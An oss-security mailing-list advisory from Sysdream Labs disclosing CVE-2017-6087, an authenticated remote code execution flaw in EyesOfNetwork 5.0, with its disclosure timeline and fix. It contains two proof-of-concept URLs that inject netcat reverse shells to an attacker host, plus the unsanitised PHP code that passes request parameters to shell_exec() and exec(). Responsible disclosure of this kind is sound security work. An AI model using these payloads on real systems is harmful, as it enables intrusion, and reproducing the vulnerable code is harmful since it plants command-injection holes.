Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 23 Mar 2017 16:21:31 +0100
From: Sydream Labs <labs@...dream.com>
To: oss-security@...ts.openwall.com
Subject: [CVE-2017-6087] EON 5.0 Remote Code Execution

# [CVE-2017-6087] EON 5.0 Remote Code Execution

## Description

EyesOfNetwork ("EON") is an OpenSource network monitoring solution.

## Remote Code Execution (authenticated)

The Eonweb code does not correctly filter arguments, allowing
authenticated users to execute arbitrary code.

**CVE ID**: CVE-2017-6087

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-78

**CVSS Base Score**: 7.6

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L


### Proof of Concept 1

On the attacker's host, we start a handler:

```
nc -lvp 1337
```

The `selected_events` parameter is not correctly filtered before it is
used by the `shell_exec()` function.

There, it is possible to inject a payload like in the request below,
where we connect back to our handler:

```
https://eonweb.local/module/monitoring_ged/ged_actions.php?queue=history&action=confirm&global_action=4&selected_events%5B%5D=;nc%2010.0.5.124%201337%20-e%20/bin/bash;
```

#### Vulnerable code

The payload gets injected into the `$event[$key]` and `$ged_command`
variables of the `module/monitoring_ged/ged_functions.php` file, line 373:

```
$ged_command = "-update -type $ged_type_nbr ";
foreach ($array_ged_packets as $key => $value) {
  if($value["type"] == true){
    if($key == "owner"){
      $event[$key] = $owner;
    }
    $ged_command .= "\"".$event[$key]."\" ";
  }
}
$ged_command = trim($ged_command, " ");
shell_exec($path_ged_bin." ".$ged_command);
```

Two other functions in this file are also affected by this problem:

* `delete($selected_events, $queue);`
* `ownDisown($selected_events, $queue, $global_action);`


### Proof of Concept 2

On the attacker's host, we start a handler:

```
nc -lvp 1337
```

The `module` parameter is not correctly filtered before it is used by
the `shell_exec()` function.

Again, we inject our connecting back payload:

```
https://eonweb.local/module/index.php?module=|nc%20192.168.1.14%201337%20-e%20/bin/bash&link=padding
```

#### Vulnerable code

In the `module/index.php` file, line 24, we can see that our payload is
injected into the `exec()` function without any sanitization:

```
# Check optionnal module to load
if(isset($_GET["module"]) && isset($_GET["link"])) {

	$module=exec("rpm -q ".$_GET["module"]." |grep '.eon' |wc -l");

	# Redirect to module page if rpm installed
	if($module!=0) { header('Location: '.$_GET["link"].''); }

}
```


## Timeline (dd/mm/yyyy)

* 01/10/2016 : Initial discovery.
* 09/10/2016 : Fisrt contact with vendor.
* 23/10/2016 : Technical details sent to the security contact.
* 27/10/2016 : Vendor akwnoledgement and first patching attempt.
* 11/10/2016 : Testing the patch revealed that it needed more work.
* 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
* 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our
repsonsible disclosure agreement.
* 14/03/2017 : Public disclosure.

Thank you to EON for the fast response.

## Solution

Update to version 5.1

## Affected versions

* Version <= 5.0

## Credits

* Nicolas SERRA <n.serra@...dream.com>

-- 
SYSDREAM Labs <labs@...dream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream





Download attachment "signature.asc" of type "application/pgp-signature" (848 bytes)

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.